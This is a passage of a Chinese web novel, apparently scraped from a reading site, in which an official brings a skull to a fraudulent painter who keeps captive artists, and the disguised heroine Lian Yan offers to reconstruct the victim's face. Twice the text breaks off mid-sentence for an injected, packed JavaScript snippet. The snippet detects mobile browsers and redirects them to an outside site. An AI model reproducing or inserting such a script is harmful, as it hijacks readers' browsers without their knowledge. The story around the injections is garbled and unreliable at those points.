“那陈生的画……好像叫什么丹阳踏春图?被丹阳郡的夏太守夸得天花乱坠。” “原本当时请夏太守来的时候,因为失误把珍品鱼放走了,那可是要用在渔获宴上的啊…… 周边铺子的老板也纷纷加入话题。 “我想起来了,夏太守是看在这幅画的面上才没有怪罪苏县令招待不周,当时可把陈生捧到天上去了!” “哎是不是那边胭脂铺子他们家弟弟放走的鱼?哎哟那鱼可难得……怪不得说他们家一直没开门,也不知道苏县令会怎么惩治……” 临州县城直属丹阳郡,也难怪这苏世良想要巴结讨好,但是……珍品渔获不是每年给朝廷的供品,这夏太守竟然还有胆子吃? 看来不论是这临州城还是丹阳郡,都该好好给君上禀告一番。 厉思远摩挲下巴思忖了一下,便托着木盒朝那几位聊的热火朝天的老板一揖,整了整衣襟朝桥对面走去。 这时身后的酒铺老板才一拍大腿:“哎哟!忘了问这位公子的名字了,我家女儿刚好适龄,可惜了一个好女婿……” 旁边的茶铺老板打趣:“公子长得如此俊美,怕是早就有夫人了,你可别自讨没趣了!” 身后的吵闹嬉笑声逐渐远去,厉思远踏上了坚实干净的青石板路,看着这一间间奢华宽敞的大宅子,神色冷淡。 穿过几条巷子后,厉思远在一间看起来比较矮小的宅子旁停下脚步。 宅子上挂着一个褐色的牌匾,写着“陈宅”两个字。 从刚才酒铺老板指的方向来看,这里就是那位陈生画师的宅子了。 其他宅子相比,陈宅看起来有些矮小窘迫,想来苏县令虽然借了他侄子的光,但依旧看不起他。 厉思远走上两个台阶,敲响了手边的铜制门环,不多时一个小厮打着哈欠将门开了一条缝:“你们找谁?” 厉思远拱了拱手道:“鄙人有事想要拜见一下陈生,陈画师,劳烦通传一下。” 边说边将一旁邱容露了出来,那小厮见邱容手上捧着的锦盒看着很是精美,露出一个了然的神色,便进门去通传了。 没过一会儿,陈宅厚重的木门吱呀呀向两侧打开来,刚刚的小厮笑着将两人引进了院子里。 这陈宅的庭院虽然有些小,布局却小巧精致。 两侧种满了各式鲜花,不远处是一条小河,河水上假山错落有致,水车徐徐转动,内宅青砖黑瓦,柱子上雕刻着精致的云纹。 看似低调,但厉思远知道这样的布局也要花上不少银子。 今日来的重点并非是深究区区一介画师为何能如此奢靡,他的目光掠过这些陈设后,便捧着木盒步入了内宅大堂中。 内堂干净整洁,却也是布满了寻常人看不出的奢华装饰,西蜀乌木家具、景德镇瓷器、西域特产玉石……琳琅满目、价值不菲,厉思远心中冷笑,但面上不显。 那小厮指着旁边的椅子说道:“二位请先坐,我家老爷正在潜心作画,烦请等一会儿。” 说完又看向邱容手里的锦盒,意思再明显不过,厉思远点点头,邱容便端出一个锦盒呈给小厮。 那小厮打开看到里面两匹锦缎后,不屑地皱皱眉,方才满脸堆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16268707|182205||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 笑的样子瞬间消失不见,只丢下一句让他们等着,便扬长而去。 邱容撇撇嘴:“大人,你看他那样子,稀罕物事见多了便看不上我们的东西。” “您是正三品官员,请他来协助我们断案已经是看得起他了,备上见面礼也是出于礼貌,他们家连盏茶都不给。” 厉思远倒是毫不在意地撩开衣摆坐下,打量着周围的装饰: “陈生并不知道我的身份,看那下人的模样,对于这种带礼来的事情司空见惯,还对其间的物品挑三拣四,想来把我们当成来求画的人,再正常不过了。” 邱容依旧愤愤:“大人就应当亮出身份,小人就见不得这种见人下菜碟的小人,不过是一介画师。” “要论起画功,我感觉远不如品画会上的画作,尤其是敛府他们家那位画的,那可是……” 刚说到这里,邱容瞬间打了个激灵闭上了嘴,他蓦然看向他家大人,知晓自己提了不该提的人。 只见厉思远果然沉下脸色,邱容恨不得狠狠抽自己一巴掌,提谁不好,非要提敛府,他还没忘了当初自家大人在听闻敛府变故后,是如何…… 他这边胡思乱想着,厉思远则不紧不慢地坐在椅子上,不知从哪里摸出了一本书翻着看。 时间一分一秒过去,邱容实在站不住了,怒道:“这陈宅欺人太甚!大人——公子稍等,我这就去把这个陈生喊出来!” 厉思远抬手制止了邱容,下一秒便听见内堂里面传来了一阵慢吞吞的脚步声。 一个脚步虚浮的中年人从外面走了进来,由两个小丫鬟搀扶着,身后跟着一个点头哈腰的管事。 他那肥头大耳、眼下青黑的样子,一看便是好色贪婪之徒,厉思远微微皱起眉。 传闻中的临州名画师竟然是这般光景么?未免太让人失望了。 出于礼貌,他起身作揖道:“这位想必就是陈画师了吧?” 邱容也跟着不情不愿地行了礼。 陈生没有回礼,而是兀自打了个哈欠道:“你……想来求画?我画画的价钱打听到没有?” 懒懒散散,毫无礼数,邱容在一旁咬牙切齿。 厉思远宠辱不惊,拱手道:“放心,您若是真的能达到我们的需求,大理寺定不会亏待您的。” 一听“大理寺”三个字,陈生吓得一个激灵:“您、您是……大理寺的官爷?” 厉思远道:“本官正是来办大理寺的差事,现下有一杀人案需请画师您从旁协助。” 陈生瞬间喜上眉梢,那可是大理寺啊!京城来的官爷!要是自己能帮得上忙,日后定少不了好处! 想到这里,他立马换上了一副谄媚的样子,笑的眼角皱纹都堆在了一起,遣旁边的小丫鬟们去备茶后,搓着手道: “官爷,快、快请坐!哎呀都怪府里的下人,原应当早点通报才对,也不知道刚才去哪偷懒了,我这才姗姗来迟,您莫见怪啊——孙管事!” 旁边的孙管事忙点头哈腰:“哎,老爷——” “把刚才那通报的下人好好教育一下,怎能出现这种纰漏,怠慢了贵客!” 孙管事心里苦笑,这不是老爷您在和那两个丫鬟“办事”,听见这正厅来的人并非什么贵人,所以让我们缓缓嘛…… 但他可不敢这样顶嘴,只得点头:“是,老爷,回头我就去好好查一下,该罚就罚!” 陈生满意点头,笑着转过身:“官爷,你们具体是想要画什么啊?” 东厢房那样多的画师,应当总有人能画出来吧? 如果画不出来,就饿上他们几日,逼着把这个差事交了,也趁这几日同这位官爷好好熟络一下,若是能借着机会得到京中贵人的青眼…… 陈生心中暗暗盘算着。 厉思远伸手将自己怀中一直抱着的木盒推到陈生眼前:“大人怕死人么?” 陈生这边正做着攀上高枝儿,平步青云的春秋大梦,冷不防没听清,只一味笑着:“有什么需要您尽管提!” 厉思远便当他不怕,伸手掀开了木盒盖子:“我们需要您把这位苦主的容貌还原,以助我们找到她的真实身份。” 陈生长得矮胖,那盒子里的东西只露出一个边缘,看不到全貌,他便笑着伸手去掏:“嘿嘿,好说、好……啊!!!” 看清手里的东西,那陈生嗷地跳起来半尺高。 5. 小乞丐敛烟 孙管事正踮着脚想看清木盒里到底是什么,猝不及防被自家老爷吓了一跳,正欲上前,却见陈生将手里的物件朝自己扔了过来。 他接到怀里定睛一看,手里分明是一个惨白的头骨,自己双眼正巧和骷髅空洞的眼睛对在一起,他登时两眼一翻,竟当场昏厥了过去。 一阵兵荒马乱、鸡飞狗跳以后,不知从哪冒出来了一个黝黑的大块头,身上还配着一把长剑,冷着脸将那头骨捧在了手中。 这人便是平时跟在厉思远身边的侍卫,山平。 “啧,这可是重要证物,你们摔坏了可是大罪!”邱容不满地嘟囔着。 厉思远平静地啜了一口茶,他已经习惯了这种场面。 对于死人的头颅,就算是已经成了白骨,但多数人还是十分忌讳,几乎所有的画师都唯恐避之不及。 虽然陈生表现的过于夸张,但也正常。 等到晕掉的孙管事被抬出去,陈生才心有余悸地扶着桌子重新坐回了椅子上,小心翼翼地瞥着山平手上的头骨。 “您、您的意思是,光凭这个东西……画出来这个人的脸?”陈生脸色煞白地问道。 厉思远点头:“我此前寻了宫廷画师以及京城有名的画师,都画不出来,所以就打算寻找民间画师,想看谁有这种本领……” 他顿了顿:“如果陈画师真的有这样的本事,大理寺愿赏金百两以做感谢,也会禀明陛下,陛下向来尊贤重道,想必会很愿意见你。” “怎么样?陈画师觉得自己可以胜任么?” 陈生眼珠子转了转,虽然对这头骨怕的紧,但是厉思远开出的条件又很令人心动…… 毕竟,谁不想在圣上面前露脸呢? 他吞了吞口水,拱手:“小人觉得有可能做到,但会花些时辰,小人这去内堂作画,烦请大人在这里稍作歇息。” 若是陛下知道自己的画是其他人画的,那可是欺君之罪,是要杀头的! 先去东厢房哄着那些画师画出来,再直接找个地方杀了算了,反正都是些无依无靠的人。 他的眼中闪过一丝狠戾。 盘算以后,他忍住浑身不自在,就要接过那个装着头骨的木盒时,却被厉思远拦住了。 “我们办案有规矩,这证物不能离开我们视线,所以烦请陈公子配合一下,让我们看着您作画。” “看、看着?”陈生愣了一下,这要是看着,他怎么可能让其他画师作画呢? 那自己用卖身契逼着东厢房那些人画画,岂不是……就暴露了? “陈画师可是有什么难言之隐?”厉思远神色淡淡。 陈生知道自己神色不对,忙道:“不瞒大人讲,本人有个怪癖,作画的时候不能有人在场打扰,不然……恐难以画出。” 厉思远遗憾地摇摇头:“那可惜了,我们只能去另请高明了。” 说完拿过木盒便要走,陈生一听这话急了,忙道:“哎不忙不忙,既然大人都已经这么说了,那我当然要试一下。” 他眼珠子转了转,瞬间便有了主意。 “不瞒大人讲,我曾经收留过一些热爱作画的画师做徒弟,他们其中有人天赋异禀,我这就去帮大人问问,或许真的有人可以画出来。” 厉思远慢悠悠瞥他一眼,忽地一笑:“哦?陈画师真的愿意把机会让给徒弟么?” 陈生摆出一副慷慨的模样:“那是当然,我已经年过四十,但我很多徒弟都很年轻,自然是要把未来的好机会留给他们了。” 当然,这至于说日后这“徒弟”出不出意外,就不好说了。 如果真的能画出来帮助这位官爷,那“徒弟”在进京前意外死亡,就只能自己这位“师父”代为面圣了。 厉思远眼里闪过一丝探究:“哦?那你人看来还不错。” 也不知道是不是自己的错觉,陈生总觉的厉思远嘴里的“还不错”三个字似乎咬的很重。 就在他想要调动不多的脑细胞思考时,就听见大堂外的院子里忽地传来一阵喧哗。 “你这个吃里扒外的家伙!敢偷府里面的画出去卖银子!简直就是不想活了!” “这分明就是我自己的画!你们不要血口喷人!” 几个人抬眼望去,只见一个瘦小的身影骨碌碌地从不远处滚了过来,身后跟着两个五大三粗的家丁,边叫边追,手里还拿着一根拇指粗的鞭子。 “什么你的我的,只要在陈宅做的画,那就是主家的!主家供你吃供你喝,你竟还不感恩戴德,竟然敢偷东西!” 那瘦小的身影跑的太慢,被家丁的大手一把抓住,狠狠按在了地上,露出了一张布满红色疤痕的小脸。 正是已经失踪许久的敛烟。 从虞园出逃以后,敛烟偷偷跑回过自家府邸,在附近转了一圈。 府门已经被两个封条死死贴住,昔日自己和阿弟玩闹的门庭如今却成了人们丢弃秽物的地方。 凡是路过敛府门口的路人,都窃窃私语说自己父亲如何偷了军饷,又是如何让鹿坪山一战失败,就连路过的黄口小儿,都要在门口狠狠啐上一口。 东华国曾经遭受大西国入侵数十年,大西国人都是来自西北部落的蛮夷,对东华国百姓进行过惨无人道的屠杀。 是陛下带领东华国人奋起反抗,甚至不惜以自己第一个儿子送去为质,用尽一切手段,终于将大西国逼退到西北沙漠的另一端,重新让东华国恢复往日繁荣。 所以在东华国,人人都对大西国恨之入骨,也对陛下尊敬有加。 但大西国贼心不死,依旧频频骚扰边疆,陛下在权衡之下打算彻底铲除大西国余孽。 鹿坪山就是能攻入大西国都城最重要的关口,易守难攻。 所以陛下对此次战事极为看重,派伍骞北亲自领兵,只为一举拿下大西国,但却因为军饷缺漏,导致粮草短缺,军队在坚守了近半年后不得不撤退。 这也是为什么陛下震怒,而百姓们唾弃敛府的原因。 如果被其他人发现自己的真实身份,那么自己恐怕要先掉层皮。 京城不宜久留,敛烟便用鹅毛蘸着炭灰稍作修饰,更改了原本的骨相,一路乞讨流浪,来到了临州。 幸运的是,由于此前南蛮入侵,很多流民都被烧了户籍,每天有大批流民涌入京城,所以即便进出城盘问严格,但敛烟混在大量流民中,也侥幸蒙混过关。 为了行事方便,敛烟换上了粗布麻衣,装作男儿身,试图在南下的路上找到活计暂且填饱肚子,但她的力气和耐力终究比不上男子,空有一身画技也无从施展。 对于普通人家来说,连吃饱饭都要花上一生的气力了,又谁会招一个干活不如别人,只会画画的小工呢? 所以敛烟常常吃不饱饭,也无法做长工,只能时不时做一些短工,但也会因为动作慢、力气小而挨打挨骂,甚至被欠过不少工钱。 而在做工的时候,敛烟虽然尽量让自己看起来灰头土脸,但依旧因为长相娇小、骨相精致而被一些好男风的人骚扰。 索性一不做二不休,用红色颜料在脸上伪装了一道长长的瘢痕,此后但凡见到她的人,都会先被疤痕吓一跳,更别说骚扰了。 那日她在临州城集市像往常一样找活做,就看到城墙上张贴的林林总总的告示中,有一个陈宅的招工告示。 一般墙头下都会有一个管事负责城内所有招募,因为很多来做工的人都不识字,所以管事都会将告示内容一一念出,符合条件的人就去找管事登记后领取凭证,去主家做活。 然而敛烟发现,那管事念了全部的告示,却独独将陈宅那张遗漏了。 由于离城墙还有一段距离,前面又都是争抢活计的粗壮男子,等敛烟挤到城墙下时,那管事已经边挥手赶人,边说今日全部的招工已经完成,让剩下的人下次再来。 敛烟只觉得奇怪,问道:“这不是还有陈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16268708|182205||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宅的告示没有念吗?” 那管事惊讶地抬头看了眼前这个瘦小的人一眼,说道:“你能看懂字?” 敛烟此刻离城墙的距离已经足够看清告示上的字了,那陈宅正在招募一批画师,似乎是为陈生做一些涮笔、磨墨等杂事。 敛烟对陈生也略有耳闻,知晓他是临州一带小有名气的画家。 但此前她也有单独买陈生的画看过,粗制滥造,似乎笔触的力度、着色的程度都不大一样,完全看不出一名画师的用心,于是便没过多探究。 不然以她以前的性子,一定会邀到上京城一起品画喝酒。 但如今自己落魄到这般田地,好不容易有一个自己能做的活计,便也不再挑剔陈生的水准了。 想到这里,敛烟便点点头,又问道:“陈宅还在招画师吗?” 管事有些不耐:“还在招,都已经挂了几个月了,根本招不到,来这里的人全都是做粗活的,怎么可能会画画这种雅艺,那都是给有钱人做的。” “你啊也别痴心妄想了,陈生他可是我们这边出了名的画师,一点小伎俩他也看不上。” 说完那管事收拾纸笔就要离开,敛烟却没有动:“我可以去试一试,我会画画。” 管事上下看了一眼乞丐模样的少年,脸上还挂着一道可怖的红色伤疤,他厌恶的皱了皱眉,别开眼睛说道:“你不要去自讨没趣,你一个小乞丐怎么可能……” 还没说完,就被敛烟打断了:“不管我有没有机会,您是替主家收钱做事的,并不是挑选仆役的,所以只需给我凭证,无需多言。” 管事没想到这个小乞丐竟然这么伶牙俐齿,只能骂骂咧咧签了凭证后,挥手将敛烟赶走。 就这样敛烟便在陈生的宅子里住了下来,起初她以为当真与告示上说的一样,自己只做一些绘画上的杂事。 但是没想到那陈生根本不是什么画家,他所有的画全部出自他养的画师之手。 而那些画师都像敛烟一样,都是孤苦无依被迫来混口饭吃,却被骗着签了长期卖身契,至此就被陈生囚禁在东厢房。 陈生对作画要求极其严苛,别说工钱了,挨打挨饿都是家常便饭。 最后陈生会将所有人的心血,署上自己的姓名再卖出,其中不乏模仿名家的赝品,但也都被当作真迹卖出。 在知道真相后,敛烟便想离开。 此前她也留了心眼,刚进来的时候陈宅的孙管事想诓骗她签长契,敛烟因为认字,只说先签一个月短契试工。 但谁知她在一个月的短契到期后,主动提出离开时,却也遭受了囚禁和毒打。 就这样,敛烟只能被迫继续替陈生作画,这一画便是四个月过去了。 对她来说有纸笔能够作画是十分难得的,所以在每天替陈生作画之后,她都会回到自己房间,拿多余的笔墨去画自己想画的,也当作是这苦难日子中的一丝丝慰藉。 但有一日陈生的家丁来查房间的时候,从床底找到了敛烟的画。 陈生见到那画之后,视若珍宝,将其中一副丹阳春景图,送给了来临州城的夏太守,打响了名声。 陈生家里换了大宅子,人也越发的高傲和贪婪起来,逼着敛烟日日为他作画,好在是饭能吃饱了,打也没有再挨过。 但敛烟却忍受不了自己的画被拿去随意变卖,甚至会被逼着去临摹名家的画骗钱。 她一连谋划数日,今日好容易找到逃走的机会,还带上了自己这段时间辛苦做的画想着能换些吃饭钱,却还是被家丁们发现了。 他们为了不被街坊邻居说自己苛待下人,更担心喜爱陈生画作的贵人们会发现那画并非出自他本人之手,所以便授意家丁们用偷画这种拙劣的借口来污蔑自己。 就在她以为自己这次逃跑又要失败时,余光瞥到了一旁熟悉的身影。 虽然见面不多,但她还是一眼就看出来了。 那人,是厉思远。 6. 与君初见 说起来,敛烟和厉思远几乎算是陌生人。 一来敛烟是未出阁的女子,不能和外男见面,即便是宴会上遇到了,也要远远隔着一层纱帘才行,二来是厉思远这人怪得很,和其他世家弟子不同,他并不喜欢社交,所以几乎不怎么出席宴会。 两个人真正见面只有一次,是京城舒家举办的品画会上。 那次品画会上,据说要展出千金难求的仕女簪花图,所以京城各大世家纷纷前往,有的是真的爱画,有的也是因为当今陛下和太后都爱画,所以附庸风雅一番。 有这好事,自然少不了敛烟,只是这种地方闺阁女子是去不得的,她便扮作一翩翩公子,在好友的帮助下悄悄混入其中。 由于那时是盛夏,敛烟出门也不敢坐马车,一路走到了廖家,只觉得口干舌燥,进门便拿起一杯丫鬟递过来的水,狠狠灌了一杯。 后来她才知道,那所谓的“水”,是舒家特意准备出来的西域琼浆,喝着清甜好入口,实际上后劲十足。 就算是敛烟酒量尚可,不多时便只觉得越发头晕,思绪也跟着混乱起来。 恍惚间,她还记得父亲曾严厉告诫自己不许再出来和这些公子哥鬼混,如果发现了就要罚自己不许画画。 所以此时她心里只有一个念头,那就是尽快看完仕女簪花图,再顺着暗道偷偷回家。 这个念头因为醉酒而被无限放大,敛烟便跌跌撞撞去了保存画作的房间。 剩下的记忆便开始变得模糊。 敛烟只记得自己好像在房间里看到了一个温润漂亮的玉佩,上面的刻印十分罕见又精致,借着酒劲竟自顾自揣了起来,摇摇晃晃朝仕女簪花图走去。 然后天旋地转,自己直接躺倒在了榻上昏睡了过去。 再次醒来,就看到少年放大的俊脸,墨色长发被紫金冠高高束起,薄唇微微下撇,面如冷玉,却棱角分明。 当真是应了那句,肌理分明骨肉清,眉目如画唇齿明。 敛烟以为自己在做梦,伸手便轻轻摸了一把那人手感极好的脸颊,嘴里还念叨着:“真好看啊……” 那人显然没想到敛烟竟然直接上手摸,先是愣了一下,随后脸颊飞红,连连后退差点跌坐在地上。 敛烟不记得那人羞恼地说了些什么,只记得自己始终盯着那人看,一身黑色劲装,腰间束着棕色云纹腰带,恰到好处将他的身材勾勒出来,宽肩窄腰,一双长腿笔直,竟一丝瑕疵都找不出来。 要是有这样的男子做模版,自己画人物的功底一定会更进一步的! 敛烟眼前一亮,正欲开口,那男子却已经说完了话,转过身逃也似的离开了房间,还差点被门槛绊倒,惹得敛烟噗嗤一笑。 后来她才得知,那日的男子竟是厉思远。 想到自己竟然“骚扰”了陛下的义子,敛烟有些坐立不安,还好厉思远好像并没有计较什么,后来二人始终没有见面的机会,这件事也就不了了之了。 却没想到,今日竟然在临州遇见了他。 若说是平时遇到的话,她躲都来不及。 厉思远身在京城,如今又任大理寺卿,如果发现她是外逃的敛府嫡女,一定不会轻饶,甚至会连累到被流放的母亲和弟弟。 但眼下却没办法了,这次被抓回去免不了一顿毒打,能不能逃出陈宅还是未知数。 自己被困在这小小陈宅,是无法查清楚当年抄家的真相,还父亲清白的。 敛烟也曾听闻过厉思远的人品,他放弃京城安逸富贵的生活,亲自请命清剿当时在南方肆意烧杀抢掠的南蛮,行事果断、手段高明,用了三年时间亲自将南蛮尽数清剿。 后来一路南下,从人们的闲谈中又听闻他一路自掏钱帛救济遭受南蛮入侵的流民,又回京向君上请命为流民修缮住所。 此前两个人只见过那一面,想来他对自己的容貌也不甚熟悉,加上自己如今添了这样一道可怖的伤疤,认出自己的概率应该不大…… 况且,如果自己真的能和厉思远搭上线,说不定可以混入大理寺,找到申太医失踪案的案卷,也许可以找到自家冤案的线索。 念头一动,敛烟便抱着头躲避,扯着嗓子大声喊:“我明明是拿自己的画出去卖钱,怎能说我偷!” 其中一个家丁恶狠狠的踢了她一脚后说道:“陈宅里的画就是陈家的私产,你就是在偷!” 敛烟转头怒斥:“还什么恩德,我明明签了一个月的短契,你们陈宅不做人非说我签了十年的长契,硬要将我留在这里!” “我虽在南蛮入侵的时候被烧了户籍,但也并非奴籍,你们囚禁良民,简直是丧尽天良!” 那些家丁忽地看到正堂里面有人,而敛烟此时又将真相不管不顾说出,忙七手八脚想将她按住。 敛烟也不知哪里来的力气,两个身强体壮的家丁愣是没有堵住她的嘴,她继续声讨: “陈生还把我自己画的丹阳春景图拿出去说成是自己的,得了赏回来还觉得是自己才华横溢得到夏太守青眼。” “我呸!不要脸!” 敛烟吃力从地上抬起头,望向厉思远那边,却见他只是淡淡地望过来,身边的那个长得十分机灵的仆役也只是在旁边看着,两个人似乎都没有下一步动作。 正堂里的陈生此时也心虚地跑了出来。 他当然知道敛烟是谁,这个长相不起眼、脸上还有那样一道可怕伤疤的少年,自称彦儿,前段时间获得夏太守青眼的丹阳春景图便是出自他手。 但是如今大理寺的官爷在这里,绝对不能让他乱说话毁了自己的好事! “好你个吃里扒外的家伙,捂住他的嘴,拖出去打一顿,莫要脏了贵人的眼睛!” 说完还朝一直盯着他们的厉思远笑道: “大人见笑了,一个手脚不干净的下人罢了,小人教训完后,即刻便去取来画具给您还原这枯尸的样貌。” 两个家丁不由分说就要将敛烟拖出去,其中一个还伸手捂住了她的嘴,敛烟余光看到山平手里的头骨,心里立刻想明白了厉思远为何要来这里。 正堂里的厉思远神色淡淡,没有想要出手的意思。 想想也对,厉思远没有穿官袍,显然是隐姓埋名而来,何苦为了自己这样一个不相干的人惹祸上身呢? 她的眼中闪过一丝决绝。 毫不相干的人当然不会成为厉思远出手的对象,但若是自己变成那个有关的人呢? 眼看两个家丁便要伸手拉走她,敛烟神色一冷,拼尽全身力气,恶狠狠咬了下去! “啊啊啊——!!” 惨叫声响彻整个陈宅大院,原本捂着敛烟嘴的家丁大叫着跳了起来,低头一看,手上赫然印着一排牙印,周围已经瞬间肿胀起来。 敛烟趁机朝内堂大喊:“官爷!小人能还原枯尸样貌!请让小人试试吧!” 另一个家丁见状伸手一把把她的头按在了地上,敛烟挣扎不得,地上的泥土不由分说就钻进了她的口鼻里,呛得她咳嗽连连。 她自暴自弃地往地上一趴。 其实对于厉思远是不是真的会听自己的,她也没有把握,毕竟他可是特意来寻陈画 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敛烟只觉得两个胳膊被抓的火辣辣的疼,但此时也顾不得这些,她抬起头抹了一把脸,朝厉思远磕了两个头: “官爷,小人自小喜爱作画,家父也曾寻先生教过,先生也都说我很有天赋,就让小人试试吧。” 陈生厉声打断了他: “你个贱骨头连官爷都敢蒙骗!寻常人家怎可能负担的起作画的颜料?官爷,他这分明就是在拖延时辰,想要逃避惩罚!” 敛烟冷声道:“陈老爷说笑了,你怎知原来我家庭是什么状况?” “况且若是想要学,那自然有千百种方法,花朵、果实甚至是不起眼的野草,都可以成为作画的工具。” 敛烟虽然嘴皮子利索,但心里却慌得紧,所以没有注意到厉思远一直在盯着她的脸,眼底掠过一丝复杂。 陈生被她一番话怼的哑口无言,“你你你”了半天也不知道该说什么。 敛烟没给他继续说话的机会,转向厉思远: “官爷,那副丹阳春景图实际上出自小人之手,小人并不奢求什么,只求官爷事成后若是觉得小人有用,放小人离开陈宅。” 陈生气的浑身颤抖,真是反了天了!这贱骨头不过是运气好,一副破画就获得夏太守的青眼,以为自己真的翅膀硬了不成! 他见一旁两个家丁无动于衷,气急攻心,撸起袖子就要扑过去抓住敛烟,却忽地感到脚下一轻,整个人便被提了起来,不论怎么挣扎都无济于事。 敛烟揉了揉眼睛,这才看清眼前的人。 身材高大、面容黝黑、肌肉虬结,投射下来的阴影整个儿把她笼罩住了。 这人刚才明明站在正堂里面,怎么眨眼间就到了这里? 站在一边的邱容也是吓了一跳,大人此次不只是为了寻访民间画师来协助断案,更是为了陛下交代的某件事。 若是不小心暴露了身份可怎么办? 况且就为了这样一个区区仆役……还生的如此丑陋…… 邱容无论如何都想不明白,于是便出声提醒道: “大人,我们此次来不是有求于陈画师么?这样做要是不小心暴露身份……对那件事也不利啊……” 厉思远没有接话,而是整理了一下衣摆。 他偏头看了一眼敛烟:“抬起头。” 敛烟一愣,为什么叫她抬起头? 难道……他认出自己了? 7. 枯尸还原 事到如今已经没有回旋的余地了,敛烟只能认命地抬起头。 入目依旧是厉思远那俊美非常的脸,两个人第一次见面时,厉思远只是个半大的少年,还带着少年人特有的青涩。 如今青涩褪去,肤色又带着常年征战沙场的特有古铜色,因着敛烟矮小,所以他需低下头垂眼看她,那长长的睫毛覆盖下来遮住了瞳孔里的光。 黑色的眼眸像西域最上乘的黑珍珠般,倒映着敛烟的影子,让她不禁呼吸一滞。 由于喜爱作画,她对于美丽的事物都会有种难以抑制的冲动,敛烟深吸一口气,极力克制下来拿出纸笔将这张伟大的脸印在宣纸上的冲动。 也正因她只顾着注意厉思远的美色,导致她忽略了厉思远看她的那探究的神色。 一旁的邱容不禁暗暗感叹,不愧是我们大人见多识广,那么可怕的伤疤都没有吓退他,还盯着看了那么久! 哎等等,难道这个疤痕实际上暗藏玄机? 他此前同大人办过不少悬案,要说这天下之大无奇不有,为了能够达到自己目的,许多狡诈奸滑之辈用尽全部的力气,暗语密码藏在哪里都不足为奇。 所以难不成这个下人,实际上疤痕上有什么暗号? 他努力睁大双眼,忍住犯呕的冲动,也仔仔细细打量起来敛烟脸上的可怖疤痕。 “哎呀老爷啊!这是怎么回事啊!!”孙管事大叫着从不远处跑来。 刚来就看到自家老爷被一个黑脸大汉像小鸡仔一样提在手里,孙管事顿时大惊失色,慌忙跑了过来。 厉思远这才稍稍回神,示意山平将人放下:“陈画师,刚才得罪了,本官只是为了控制局势。” 陈生哑巴吃黄连,只能摆手:“没有没有没有,小人怎敢怪您……” “那就好,烦请您取来工具,让这个人试试看吧。” 厉思远其实根本没有打算道歉的意思,轻飘飘便揭过了这件事。 陈生刚想开口阻止,却转念一想,不如就先让这小子试试,就算是成功了,卖身契还在他们手里,到时候走不走,还不是陈宅说了算? 这小子当时画出来的丹阳春景图,可是被夏太守吹上了天,陈生自己并不懂画,但心里却不得不承认,将枯尸容貌还原的事情,或许这个贱骨头真的能做到…… 他清了清嗓子,指了指那两个家丁:“那个……你们两个,去把我房里的画具取来,再搬套案几和方凳。” 厉思远看着两个家丁远去的身影,轻笑:“陈画师真是有意思,刚才不是说自己去取画具么?” 陈生赔着笑,听见孙管事在他耳边低语: “老爷,派人去打听过了,这几日临州城并未听说有哪位贵人前来。” “此人衣着朴素,又不肯亮出大理寺的腰牌,多半是虚张声势,亦或者在大理寺当一个小官,九品以下官员是不配腰牌的。” 孙管事刚才只是装作吓晕,实际上是陈生授意他去打听,若是贵人前来,即便是刻意隐姓埋名,守关的将士们也都会知晓,稍微请人一打听便也都能打听到。 陈生是苏县令的侄子,即便是两个人关系一般,守关的将士拿到钱帛后还是会给几分面子。 这也是很多官员惯用的手段,和守关的将士们打好交道,即便是忽然有贵客来访,也能迅速做好准备,以免亏待了贵人。 除非是陛下和三位皇子亲自前来,那自然是无人敢透露行踪。 所以……他定是个冒牌货。 陈生脸上带笑,后牙槽却早已是咬的咯吱作响,好你个小白脸,骗的老子好苦,鞍前马后服侍不停不说,还敢管起我们自己家的事! 你给我等着,老子让你吃不了兜着走! * 不多时,案几和画具便已经在前院中安排妥当,敛烟被一双双各怀心思的眼睛盯着,毫不忸怩地端坐下来。 她的手先是抚过了洁白的画纸,这是上好的澄心堂纸,色泽柔和润白,质地坚韧厚重,再执起搁在旁边的毛笔,这是质地上乘的湖笔,木质温润细腻,重量适宜。 她不禁暗暗感叹,这陈生虽然并不怎么会作画,但置办起这些工具倒是毫不吝啬。 另一边,邱容拿着头骨走到不远处的一个桌子旁,还特意从敛烟身边经过,本意是想吓他一吓,谁叫他不知好歹,和自家大人说话没有分寸。 谁承想敛烟非但没有害怕,反而还饶有兴致地打量起那头骨,仿佛在欣赏一件工艺品。 这不仅让邱容大吃一惊,也让旁边的厉思远微微一怔。 看着不起眼的少年,心性却如此稳定,这个人……不容小觑啊。 陈生和孙管事倒是默契地后退了一步,看着敛烟一动不动盯着那颗头骨,心里唏嘘。 这小子已经盯了快半炷香的时间,连条线都没画出来,看起来他们还是高估了这小子。 不过也是,一个贱奴罢了,连宫廷画师、各路名家都无法做到的事情,他又怎能画出来呢? 罢了罢了,反正这个所谓的大理寺官差也不过是个假的…… 正想着,敛烟忽然开始动了起来。 毛笔在砚台上滚了一圈,沾满了饱满的墨汁,画纸上瞬间勾勒出了流畅的线条。 她头也不抬:“你们谁来给我磨一下墨。” 邱容慌忙转头看向大人,这小子未免过于猖狂了,大人还在场,怎敢直接说这种话! 谁知厉思远非但没有在意,反而从善如流地挥了挥手:“邱容,你去。” 邱容“啊?”地张大了嘴:“我?” 厉思远奇怪地看他一眼:“怎么了?” 